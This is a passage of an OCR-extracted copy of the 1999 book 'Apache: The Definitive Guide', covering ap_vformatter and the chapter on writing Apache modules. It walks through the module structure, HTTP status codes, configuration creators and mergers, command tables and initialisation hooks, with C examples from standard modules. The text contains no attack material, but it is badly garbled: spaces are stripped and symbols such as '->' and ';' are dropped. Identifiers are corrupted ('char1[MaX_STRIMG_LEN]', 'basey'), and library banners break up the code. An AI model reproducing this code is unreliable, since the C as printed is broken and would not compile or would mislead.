>curpos==vbuff>endposthenflush_func()iscalledwithvbuffastheargument.flush_func()shouldemptythebufferandresetthe
valuesinvbufftoallowtheformattingtoproceed.flush_func()isnotcalledwhenformattingiscomplete(unlessithappenstofillthebuffer).Itisthe
responsibilityofthefunctionthatcallsap_vformatter()tofinishthingsoff.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page289
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Sinceflush_func()almostalwaysneedsmoreinformationthanthatfoundinvbuff,thefollowingghastlyhackisfrequentlyemployed.First,astructurewith
anap_vformatter_buffasitsfirstelement*isdefined:
structextra_data{
ap_vformatter_buffvbuff
intsome_extra_data
Next,theprintf()styleroutinecallsap_vformatterwithaninstanceofthisstructure:
structextra_datamine
mine.some_extra_data=123
ap_vformatter(my_flush,&mine.vbuff,fmt,ap)
Finally,my_flush()doesthis:
API_EXPORT(int)my_flush(ap_vformatter_buff*vbuff)
{
structextra_data*pmine=(structextra_data*)vbuff
assert(pmine>some_extra_data==123)
Asyoucanprobablyguess,wedon'tentirelyapproveofthistechnique,butitworks.
ap_vformatter()doesalltheusualformatting,exceptthat%phasbeenchangedto%pp,and%pAformatsastructin_addr*asa.b.c.d,and
%plformatsastructsockaddr_in*asa.b.c.d:port.Thereasonforthesestrangelookingformatsistotakeadvantageofgcc'sformatstring
checking,whichwillmakesurea%pcorrespondstoapointer.
*Ofcourse,ifyoudon'tmindthehackbeingevenmoreghastly,itdoesn'thavetobefirst.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page290
15
WritingApacheModules
OneofthegreatthingsaboutApacheisthatifyoudon'tlikewhatitdoes,youcanchangeit.Now,thisistrueforanypackagewithsourcecodeavailable,butApache
isdifferent.Ithasageneralizedinterfacetomodulesthatextendsthefunctionalityofthebasepackage.Infact,whenyoudownloadApacheyougetfarmorethanjust
thebasepackage,whichisbarelycapableofservingfilesatall.YougetallthemodulestheApacheGroupconsidersvitaltoawebserver.Youalsogetmodulesthat
areusefulenoughtomostpeopletobeworththeeffortoftheGrouptomaintainthem.
Inthischapter,weexploretheintricaciesofprogrammingmodulesforApache.*WeexpectyoutobethoroughlyconversantinCandUnix(orWin32),becausewe
arenotgoingtoexplainanythingaboutthem.RefertoChapter14,TheApacheAPI,oryourUnix/Win32manualsforinformationaboutfunctionsusedinthe
examples.WealsoassumethatyouarefamiliarwiththeHTTP/1.1specification,whererelevant.Fortunately,formanypurposes,youdon'thavetoknowmuchabout
HTTP/1.1.
Overview
PerhapsthemostimportantpartofanApachemoduleisthemodulestructure.Thisisdefinedinhttp_config.h,soallmodulesshouldstart(apartfrom
copyrightnotices,etc.)withthefollowinglines:
#include"httpd.h"
#include"http_config.h"
*FormoreonApachemodules,seeWritingApacheModuleswithPerlandC,byLincolnSteinandDougMacEachern(O'Reilly&Associates).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page291
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Notethathttpd.hisrequiredforallApachesourcecode.
Whatisthemodulestructurefor?Simple:ItprovidesthegluebetweentheApachecoreandthemodule'scode.Itcontainspointers(tofunctions,lists,andsoon)
thatareusedbycomponentsofthecoreatthecorrectmoments.Thecoreknowsaboutthevariousmodulestructuresbecausetheyarelistedinmodules.c,
whichisgeneratedbytheConfigurescriptfromtheConfigurationfile.*
Traditionally,eachmoduleendswithitsmodulestructure.Hereisaparticularlytrivialexample,frommod_asis.c:
moduleasis_module={
STANDARD_MODULE_STUFF,
NULL,/*initializer*/
NULL,/*createperdirectoryconfigstructure*/
NULL,/*mergeperdirectoryconfigstructures*/
NULL,/*createperserverconfigstructure*/
NULL,/*mergeperserverconfigstructures*/
NULL,/*commandtable*/
asis_handlers,/*handlers*/
NULL,/*translate_handler*/
NULL,/*check_user_id*/
NULL,/*checkauth*/
NULL,/*checkaccess*/
NULL,/*type_checker*/
NULL,/*prerunfixups*/
NULL,/*logger*/
NULL,/*headerparser*/
NULL,/*child_init*/
NULL,/*child_exit*/
NULL,/*postreadrequest*/
NULL
}
Thefirstentry,STANDARD_MODULE_STUFF,mustappearinallmodulestructures.Itinitializessomestructureelementsthatthecoreusestomanagemodules.
Currently,thesearetheAPIversionnumber,theindexofthemoduleinvariousvectors,thenameofthemodule(actuallyitsComponent),andapointertothenext
modulestructureinalinkedlistofallmodules.
Theonlyotherentryisforhandlers.Wewilllookatthisinmoredetailfurtheron.Sufficeittosay,fornow,thatthisentrypointstoalistofstringsandfunctions
thatdefinetherelationshipbetweenMIMEorhandlertypesandthefunctionsthathandlethem.AlltheotherentriesaredefinedtoNULL,whichsimplymeansthatthe
moduledoesnotusethoseparticularhooks.
*Whichmeans,ofcourse,thatoneshouldnoteditmodules.cbyhand.Rather,theConfigurationfileshouldbeeditedseeChapter1,GettingStarted.
Used,intheory,toadapttooldprecompiledmodulesthatusedanearlierversionoftheAPI.Wesay''intheory"becauseitisnotusedthiswayinpractice.
Theheadofthislististop_module.Thisisoccasionallyusefultoknow.Thelistisactuallysetupatruntime.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page292
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
StatusCodes
TheHTTP/1.1standard(seethedemonstrationCDROM)definesmanystatuscodesthatcanbereturnedasaresponsetoarequest.Mostofthefunctionsinvolved
inprocessingarequestreturnOK,DECLINED,orastatuscode.DECLINEDgenerallymeansthatthemoduleisnotinterestedinprocessingtherequestOK
meansitdidprocessit,orthatitishappyfortherequesttoproceed,dependingonwhichfunctionwascalled.Generally,astatuscodeissimplyreturnedtotheuser
agent,togetherwithanyheadersdefinedintherequeststructure'sheaders_outtable.Atthetimeofwriting,thestatuscodespredefinedinhttpd.hwereas
follows:
#defineHTTP_CONTINUE100
#defineHTTP_SWITCHING_PROTOCOLS101
#defineHTTP_OK200
#defineHTTP_CREATED201
#defineHTTP_ACCEPTED202
#defineHTTP_NON_AUTHORITATIVE203
#defineHTTP_NO_CONTENT204
#defineHTTP_RESET_CONTENT205
#defineHTTP_PARTIAL_CONTENT206
#defineHTTP_MULTIPLE_CHOICES300
#defineHTTP_MOVED_PERMANENTLY301
#defineHTTP_MOVED_TEMPORARILY302
#defineHTTP_SEE_OTHER303
#defineHTTP_NOT_MODIFIED304
#defineHTTP_USE_PROXY305
#defineHTTP_BAD_REQUEST400
#defineHTTP_UNAUTHORIZED401
#defineHTTP_PAYMENT_REQUIRED402
#defineHTTP_FORBIDDEN403
#defineHTTP_NOT_FOUND404
#defineHTTP_METHOD_NOT_ALLOWED405
#defineHTTP_NOT_ACCEPTABLE406
#defineHTTP_PROXY_AUTHENTICATION_REQUIRED407
#defineHTTP_REQUEST_TIME_OUT408
#defineHTTP_CONFLICT409
#defineHTTP_GONE410
#defineHTTP_LENGTH_REQUIRED411
#defineHTTP_PRECONDITION_FAILED412
#defineHTTP_REQUEST_ENTITY_TOO_LARGE413
#defineHTTP_REQUEST_URI_TOO_LARGE414
#defineHTTP_UNSUPPORTED_MEDIA_TYPE415
#defineHTTP_INTERNAL_SERVER_ERROR500
#defineHTTP_NOT_IMPLEMENTED501
#defineHTTP_BAD_GATEWAY502
#defineHTTP_SERVICE_UNAVAILABLE503
#defineHTTP_GATEWAY_TIME_OUT504
#defineHTTP_VERSION_NOT_SUPPORTED505
#defineHTTP_VARIANT_ALSO_VARIES506
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page293
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Forbackwardcompatibility,thesearealsodefined:
#defineDOCUMENT_FOLLOWSHTTP_OK
#definePARTIAL_CONTENTHTTP_PARTIAL_CONTENT
#defineMULTIPLE_CHOICESHTTP_MULTIPLE_CHOICES
#defineMOVEDHTTP_MOVED_PERMANENTLY
#defineREDIRECTHTTP_TEMPORARILY
#defineUSE_LOCAL_COPYHTTP_NOT_MODIFIED
#defineBAD_REQUESTHTTP_BAD_REQUEST
#defineAUTH_REQUIREDHTTP_UNAUTHORIZED
#defineFORBIDDENHTTP_FORBIDDEN
#defineNOT_FOUNDHTTP_NOT_FOUND
#defineMETHOD_NOT_ALLOWEDHTTP_METHOD_NOT_ALLOWED
#defineNOT_ACCEPTABLEHTTP_NOT_ACCEPTABLE
#defineLENGTH_REQUIREDHTTP_LENGTH_REQUIRED
#definePRECONDITION_FAILEDHTTP_PRECONDITION_FAILED
#defineSERVER_ERRORHTTP_INTERNAL_SERVER_ERROR
#defineNOT_IMPLEMENTEDHTTP_NOT_IMPLEMENTED
#defineBAD_GATEWAYHTTP_BAD_GATEWAY
#defineVARIANT_ALSO_VARIESHTTP_VARIANT_ALSO_VARIES
DetailsofthemeaningofthesecodesarelefttotheHTTP/1.1specification,butthereareacoupleworthmentioninghere.HTTP_OK(formerlyknownas
DOCUMENT_FOLLOWS)shouldnotnormallybeused,becauseitabortsfurtherprocessingoftherequest.HTTP_MOVED_TEMPORARILY(formerlyknownas
REDIRECT)causesthebrowsertogototheURLspecifiedintheLocationheader.HTTP_NOT_MODIFIED(formerlyknownasUSE_LOCAL_COPY)is
usedinresponsetoaheaderthatmakesaGETconditional(e.g.,IfModifiedSince).
TheModuleStructure
Nowwewilllookindetailateachentryinthemodulestructure.Weexaminetheentriesintheorderinwhichtheyareused,whichisnottheorderinwhichthey
appearinthestructure,andalsoshowhowtheyareusedinthestandardApachemodules.
CreatePerServerConfigStructure
void*module_create_svr_config(pool*pPool,server_rec*pServer)
Thisstructurecreatestheperserverconfigurationstructureforthemodule.Itiscalledonceforthemainserverandoncepervirtualhost.Itallocatesandinitializesthe
memoryfortheperserverconfigurationandreturnsapointertoit.pServerpointstotheserver_recforthecurrentserver.
Example
Frommod_env.c:
typedefstruct{
table*vars
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page294
char*unsetenv
intvars_present
}env_server_config_rec
void*create_env_server_config(pool*p,server_rec*dummy)
{
env_server_config_rec*new=
(env_server_config_rec*)palloc(p,sizeof(env_server_config_rec))
new>vars=make_table(p,50)
new>unsetenv=""
new>vars_present=0
return(void*)new
}
Allthiscodedoesisallocateandinitializeacopyofenv_server_config_rec,whichgetsfilledinduringconfiguration.
CreatePerDirectoryConfigStructure
void*module_create_dir_config(pool*pPool,char*szDir)
Thisstructureiscalledoncepermodule,withszDirsettoNLL,whenthemainhost'sconfigurationisinitialized,andagainforeach
<Directory>,<Location>,or<File>sectionintheConfigfilescontainingadirectivefromthismodule,withszpathsettothedirectory.Anyper
directorydirectivesfoundoutside<Directory>,<Location>,or<File>sectionsendupintheNULLconfiguration.Itisalsocalledwhenbtaccess
filesareparsed,withthenameofthedirectoryinwhichtheyreside.Becausethisfunctionisusedfor.htaccessfiles,itmayalsobecalledaftertheinitializeris
called.Also,thecorecachesperdirectoryconfigurationsarisingfrom.htaccessfilesforthedurationofarequest,sothisfunctioniscalledonlyonceper
directorywithan.htaccessfile.
Ifamoduledoesnotsupportperdirectoryconfiguration,anydirectivesthatappearina<Directory>sectionoverridetheperserverconfigurationunless
precautionsaretaken.Theusualwaytoavoidthisistosetthereq_overridesmemberappropriately.
Thepurposeofthisfunctionistoallocateandinitializethememoryrequiredforanyperdirectoryconfiguration.Itreturnsapointertotheallocatedmemory.
Example
Frommod_rewrite,c:
staticvoid*config_perdir_create(pool*p,char*path)
{
rewrite_perdir_conf*aa=(rewrite_perdir_conf*)pcalloc(p,sizeof
(rewrite_perdir_conf))
a>state=ENGINE_DISABLED
a>rewriteconds=make_array(p,2,sisizeof(rewritecond_entry))
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page295
a>rewriterules=make_array(p,2,sizeof(rewriterule_entry))
a>directory=pstrdup(p,path)
a>baseurl=NULL
return(void*)a
}
Thisfunctionallocatesmemoryforarewrite_perdir_confstructure(definedelsewhereinmod_rewrite.c)andinitializesit.Sincethisfunctioniscalled
forevery<Directory>section,regardlessofwhetheritcontainsanyrewritingdirectives,theinitializationmakessuretheengineisdisabledunlessspecifically
enabledlater.
PerServerMerger
void*module_merge_server(pool*pPool,void*base_conf,void*new_conf)
OncetheConfigfileshavebeenread,thisfunctioniscalledonceforeachvirtualhost,withbase_confpointingtothemainserver'sconfiguration(forthismodule),
andnew_confpointingtothevirtualhost'sconfiguration.Thisgivesyoutheopportunitytoinheritanyunsetoptionsinthevirtualhostfromthemainserverorto
mergethemainserver'sentriesintothevirtualserver,ifappropriate.Itreturnsapointertothenewconfigurationstructureforthevirtualhost(oritjustreturns
new_conf,ifappropriate).
ItispossiblethatfuturechangestoApachewillallowmergingofhostsotherthanthemainone,sodon'trelyonbase_confpointingtothemainserver.
Example
Frommod_env.c:
void*merge_env_server_configs(pool*p,void*basev,void*addv)
{
env_server_config_rec*base=(env_server_config_rec*)basey
env_server_config_rec*add=(env_server_config_rec*)addv
env_server_config_rec*new=
(env_server_config_rec*)palloc(p,sizeof(env_server_config_rec))
table*new_table
table_entry*elts
inti
char*uenv,*unset
new_table=copy_table(p,base>vars)
elts=(table_entry*)add>vars>elts
for(i=0i<add>vars>nelts++i){
table_set(new_table,elts[i].key,elts[i].val)
}
unset=add>unsetenv
uenv=getword_conf(p,&unset)
while(uenv[0]!='\0'){
table_unset(new_table,uenv)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page296
uenv=getword_conf(p,&unset)
}
new>vars=new_table
new>vars_present=base>vars_presentadd>vars_present
returnnew
}
Thisfunctioncreatesanewconfigurationintowhichitthencopiesthebasevarstable(atableofenvironmentvariablenamesandvalues).Itthenrunsthroughthe
individualentriesoftheaddvvarstable,settingtheminthenewtable.Itdoesthisratherthanuseoverlay_tables()becauseoverlay_tables()
doesnotdealwithduplicatedkeys.Thentheaddvconfiguration'sunsetenv(whichisaspaceseparatedlistofenvironmentvariablestounset)unsetsany
variablesspecifiedtobeunsetforaddv'sserver.
PerDirectoryMerger
void*module_dir_merge(pool*pPool,void*base_conf,void*new_conf)
Liketheperservermerger,thisiscalledonceforeachvirtualhost(notforeachdirectory).ItishandedtheperserverdocumentrootperdirectoryConfig(thatis,the
onethatwascreatedwithaNULLdirectoryname).
Wheneverarequestisprocessed,thisfunctionmergesallrelevant<Directory>sectionsandthenmergeshtacessfiles(interleaved,startingattherootand
workingdownward),then<File>and<Location>sections,inthatorder.
Unliketheperservermerger,perdirectorymergeriscalledastheserverruns,possiblywithdifferentcombinationsofdirectory,location,andfileconfigurationsfor
eachrequest,soitisimportantthatitcopiestheconfiguration(innew_conf)ifitisgoingtochangeit.
Example
Nowthereasonwechosemod_rewrite.cfortheperdirectorycreatorbecomesapparent,asitisalittlemoreinterestingthanmost:
staticvoid*config_perdir_merge(pool*p,void*basev,void*overridesv)
{
rewrite_perdir_conf*a,*base,*overrides
a=(rewrite_perdir_conf*)pcalloc(p,sizeof(rewrite_perdir_conf))
base=(rewrite_perdir_conf*)basev
overrides=(rewrite_perdir_conf*)overridesv
a>state=overrides>state
a>options=overrides>options
a>directory=overrides>directory
a>baseurl=overrides>baseurl
if(a>options&zmpOPTION_INHERIT){
a>rewriteconds=append_arrays(p,overrides>rewriteconds,base>rewriteconds)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page297
a>rewriterules=append_arrays(p,overrides>rewriterules,
base>rewriterules)
}
else{
a>rewriteconds=overrides>rewriteconds
a>rewriterules=overrides>rewriterules
}
return(void*)a
}
Asyoucansee,thismergestheconfigurationfromthebaseconditionally,dependingonwhetherthenewconfigurationspecifiedanINHERIToptionornot.
CommandTable
command_recaCommands[]
Thisstructurepointstoanarrayofdirectivesthatconfigurethemodule.Eachentrynamesadirective,specifiesafunctionthatwillhandlethecommand,andspecifies
whichAllowOverridedirectivesmustbeinforceforthecommandtobepermitted.Eachentrythenspecifieshowthedirective'sargumentsaretobeparsedand
suppliesanerrormessageincaseofsyntaxerrors(suchasthewrongnumberofarguments,oradirectiveusedwhereitshouldn'tbe).
Thedefinitionofcommand_reccanbefoundinhttp_config.h:
typedefstructcommand_struct{
char*name/*Nameofthiscommand*/
char*(*func)()/*Functioninvoked*/
void*cmd_data/*Extradata,forfunctionsthat
*implementmultiplecommands
/
intreq_override/*Whatoverridesneedtobeallowedto
*enablethiscommand
*/
enumcmd_howargs_how/*Whatthecommandexpectsasarguments*/
char*errmsg/*'usage'message,incaseofsyntaxerrors*/
}command_rec
cmd_howisdefinedasfollows:
enumcmd_how{
RAW_ARGS,/*cmd_funcparsescommandlineitself*/
TAKE1,/*oneargumentonly*/
TAKE2,/*twoargumentsonly*/
ITERATE,/*oneargument,occurringmultipletimes
*(e.g.,Indexignore)
*/
ITERATE2,/*twoarguments,2ndoccursmultipletimes
*(e.g.,AddIcon)
*/
FLAG,/*Oneof'On'or'Off'*/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page298
NO_ARGS,/*Noargsatall,e.g.</Directory>*/
TAKE12,/*oneortwoarguments*/
TAKE3,/*threeargumentsonly*/
TAKE23,/*twoorthreearguments*/
TAKE123,/*one,two,orthreearguments*/
TAKE13/*oneorthreearguments*/
}
TheseoptionsdeterminehowthefunctionfunciscalledwhenthematchingdirectiveisfoundinaConfigfile,butfirstwemustlookatonemorestructure,cmd_parms:
typedefstruct{
void*info/*Argumenttocommandfromcmd_table*/
intoverride/*Whichallowoverridebitsareset*/
intlimited/*Whichmethodsare<Limited>*/
char*config_file/*Componentcmdreadfrom*/
intconfig_line/*Linecmdreadfrom*/
FILE*infile/*fdformorelines(notcurrentlyused)*/
pool*pool/*Pooltoallocatenewstoragein*/
pool*temp_pool/*Poolforscratchmemorypersistsduring
*configuration,butwipedbeforethefirst
*requestisserved...
*/
server_rec*server/*server_recbeingconfiguredfor*/
char*path/*Ifconfiguringforadirectory,
*pathnameofthatdirectory
*/
command_rec*cmd/*Configurationcommand*/
}cmd_parms
Thisstructureisfilledinandpassedtothefunctionassociatedwitheachdirective.Notethatcmd_parms.infoisfilledinwiththevalueof
command_rec.cmd_data,allowingarbitraryextrainformationtobepassedtothefunction.Thefunctionisalsopasseditsperdirectoryconfiguration
structure,ifthereisone,showninthefollowingdefinitionsasmconfig.Theperserverconfigurationisaccessedbyacallsimilarto:
get_module_config(parms>server>module_config,&module_struct)
replacingmodule_structwithyourownmodule'smodulestructure.Extrainformationmayalsobepassed,dependingonthevalueofargs_how:
RAW_ARGS
func(cmd_parms*parms,void*mconfig,char*args)
argsissimplytherestoftheline(thatis,excludingthedirective).
NO_ARGS
func(cmd_parms*parms,void*mconfig)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page299
TAKE
func(cmd_parms*parms,void*mconfig,char*w)
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
wisthesingleargumenttothedirective.
TAKE2,TAKE12
func(cmd_parms*parms,void*mconfig,char*w1,char*w2)
w1andw2arethetwoargumentstothedirective.TAKE12meansthesecondargumentisoptional.Ifabsent,w2isNULL.
TAKE3,TAKE13,TAKE23,TAKE123
func(cmd_parms*parms,void*mconfig,char*wl,char*w2,char*w3)
w1,w2,andw3arethethreeargumentstothedirective.TAKE13,TAKE23,andTAKE123meanthatthedirectivetakesoneorthree,twoorthree,and
one,two,orthreearguments,respectively.MissingargumentsareNULL.
ITERATE
func(cmd_parms*parms,void*mconfig,char*w)
funciscalledrepeatedly,onceforeachargumentfollowingthedirective.
ITERATE2
func(cmd_parms*parms,void*mconfig,char*w1,char*w2)
Theremustbeatleasttwoarguments,funciscalledonceforeachargument,startingwiththesecond.Thefirstispassedtofunceverytime.
FLAG
func(cmd_parms*parms,void*mconfig,intf)
TheargumentmustbeeitherOnorOff.IfOn,thenfisnonzeroifOff,fiszero.
req_overridecanbeanycombinationofthefollowing(ORedtogether):
#defineOR_NONE0
#defineOR_LIMIT1
#defineOR_OPTIONS2
#defineOR_FILEINFO4
#defineOR_AUTHCFG8
#defineOR_INDEXES16
#defineOR_UNSET32
#defineACCESS_CONF64
#defineRSRC_CONF128
#defineOR_ALL(OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_DINDEXES)
Thisstructuredefinesthecircumstancesunderwhichadirectiveispermitted.ThelogicalANDofthisfieldandthecurrentoverridestatemustbenonzeroforthe
directivetobeallowed.Inconfigurationfiles,thecurrentoverridestateis:
RSRC_CONF|OR_OPTIONS|OR_FILEINFO|OR_INDEXES
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page300
whenoutsidea<Directory>section,andis:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ACCESS_CONFOR_LIMITOR_OPTIONSOR_FILEINFOOR_AUTHCFGOR_IINDEXES
wheninsidea<Directory>section.
In.btaccessfiles,thestateisdeterminedbytheAllowOverridedirective.
Example
Frommod_mime.c:
command_recmime_cmds[]={
{"AddType",add_type,NULL,OR_FILEINFO,ITERATE2,
"amimetypefollowedbyoneormorefileextensions"},
{"AddEncoding",add_encoding,NULL,OR_FILEINFO,ITERATE2,
"anencoding(e.g.,gzip),followedbyoneormorefileextensions"},
{"AddLanguage",add_language,NULL,OR_FILEINFO,ITERATE2,
"alanguage(e.g.,fr),followedbyoneormorefileextensions"},
{"AddHandler",add_handler,NULL,OR_FILEINFO,ITERATE2,
"ahandlernamefollowedbyoneormorefileextensions"},
{"ForceType",set_string_slot,(void*)xtOffsetOf(mime_dir_config,type),
OR_FILEINFO,TAKE1,"amediatype"},
{"SetHandler",set_string_slot,(void*)xtOffsetOf(mime_dir_config,
handler),OR_FILEINFO,TAKE1,"ahandlername"},
{"TypesConfig",set_types_config,NULL,RSRC_CONF,TAKE1,
"theMIMEtypesconfigfile"},
{NULL}
}
Notetheuseofset_string_slot().Thisstandardfunctionusestheoffsetdefinedincmd_data,usingXtOffsetOftosetachar*intheperdirectory
configurationofthemodule.
Initializer
voidmodule_init(server_rec*pServer,pool*pPool)
Thisfunctioniscalledaftertheserverconfigurationfileshavebeenreadbutbeforeanyrequestsarehandled.Liketheconfigurationfunctions,itiscalledeachtimethe
serverisreconfigured,socaremustbetakentomakesureitbehavescorrectlyonthesecondandsubsequentcalls.ThisisthelastfunctiontobecalledbeforeApache
forkstherequesthandlingchildren.pServerisapointertotheserver_recforthemainhost.pPoolisapoolthatpersistsuntiltheserverisreconfigured.
Notethat,atleastinthecurrentversionofApache:
pServer>server_hostname
maynotyetbeinitialized.Ifthemoduleisgoingtoaddtotheversionstringwithap_add_version_coicponent(),thenthisisagoodplacetodoit.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page301
ItispossibletoiteratethroughalltheserverconfigurationsbyfollowingthenextmemberofpServer,asinthefollowing:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
for(pServerpServer=pServernext)
Example
Frommod_mime.c:
#defineMIME_HASHSIZE27
#definehash(i)(isalpha(i)?(tolower(i))'a':26)
statictable*hash_buckets[MIME_HASHSIZE]
voidinit_mime(server_rec*s,pool*p)
{
FILE*f
char1[MaX_STRIMG_LEN]
intx
char*types_confname=get_module_config(smodule_config,&mime_module)
if(!tYpes_confname)types_confname=TYPES_CONFIG_FILE
types_confname=server_root_relative(p,tYpes_confname)
if(!(f=fopen(types_confname,'r'))){
fprintf(stderr,"httpd:couldnotopenmimetypesfile%s\n",
types_confname)
perror("fopen")
exit(1)
}
for(x=0x<27x++)
hash_buckets[x]=make_table(p,10)
while(!(cfg_getline(1,MAX_STRING_LEN,f))){
char*11=1,*ct
if(1[0]=='#'.continue
ct=getword_conf(p,&11)
while(11[0]){
char*ext=getword_conf(p,&11)
str_tolower(ext)/*???*/
table_set(hash_buckets[hash(ext[0])],ext,ct)
}
}
fclose(f)
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page302
ChildInitialization
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
staticvoidmodule_child_init(server_rec*pServer,pool*pPool)
AnApacheservermayconsistofmanyprocesses(onUnix,forexample)orasingleprocesswithmanythreads(onWin32)or,inthefuture,acombinationofthe
two.module_child_init()iscalledonceforeachinstanceofaheavyweightprocess,thatis,whateverlevelofexecutioncorrespondstoaseparateaddress
space,filehandles,etc.InthecaseofUnix,thisisonceperchildprocess,butonWin32itiscalledonlyonceintotal,notonceperthread.Thisisbecausethreads
shareaddressspaceandotherresources.Thereisnotcurrentlyacorrespondingperthreadcall,buttheremaybeinthefuture.Thereisacorrespondingcallforchild
exit,describedlaterinthischapter.
Example
Frommod_unique_id.c:
staticvoidunique_id_child_init(server_rec*s,pool*p)
{
pid_tpid
#ifndefNO_GETTIMEOFDAY
structtimevaltv
#endif
pid=getpid()
cur_unique_id.pid=pid
if(cur_unique_id.pid!=pid){
ap_log_error(APLOG_MARK,APLOG_NOERR]APLOG_CRIT,s,
"ohno!pidsaregreaterthan32bits!I'mbroken!")
}
cur_unique_id.in_addr=global_in_addr
#ifndefNO_GETTIMEOFDAY
if(gettimeofday(&tv,NULL)==1){
cur_unique_id.counter=0
}
else{
cur_unique_id.counter=tv.tv_usec/10
}
#else
cur_unique_id.counter=0
#endif
cur_unique_id.pid=htonl(cur_unique_id.pid)
cur_unique_id.counter=htons(cur_unique_id.counter)
}
mod_unique_id.c'spurposeinlifeistoprovideanIDforeachrequestthatisuniqueacrossallwebserverseverywhere(or,atleastataparticularsite).In
order
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page303
todothisitusesvariousbitsofuniqueness,includingtheprocessIDofthechildandthetimeatwhichitwasforked,whichiswhyitusesthishook.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
PostReadRequest
Frommod_proxy.c:
/*DetectifanabsoluteURIshouldbeproxiedornot.Notethatwe
*havetodothisduringthisphasebecauselaterphasesare
*"shortcircuiting"...i.e.,translate_nameswillendwhenthefirst
*modulereturnsOK.Soforexample,iftherequestissomethinglike:
*
*GEThttp://othervhost/cgibin/printenvHTTP/1.0
*
*mod_aliaswillnoticethe/cgibinpartandScriptAliasitand
*shortcircuittheproxy...justbecauseoftheorderinginthe
*configurationfile.
*/
staticintproxy_detect(request_rec*r)
{
void*sconf=r>server>module_config
proxy_server_conf*conf
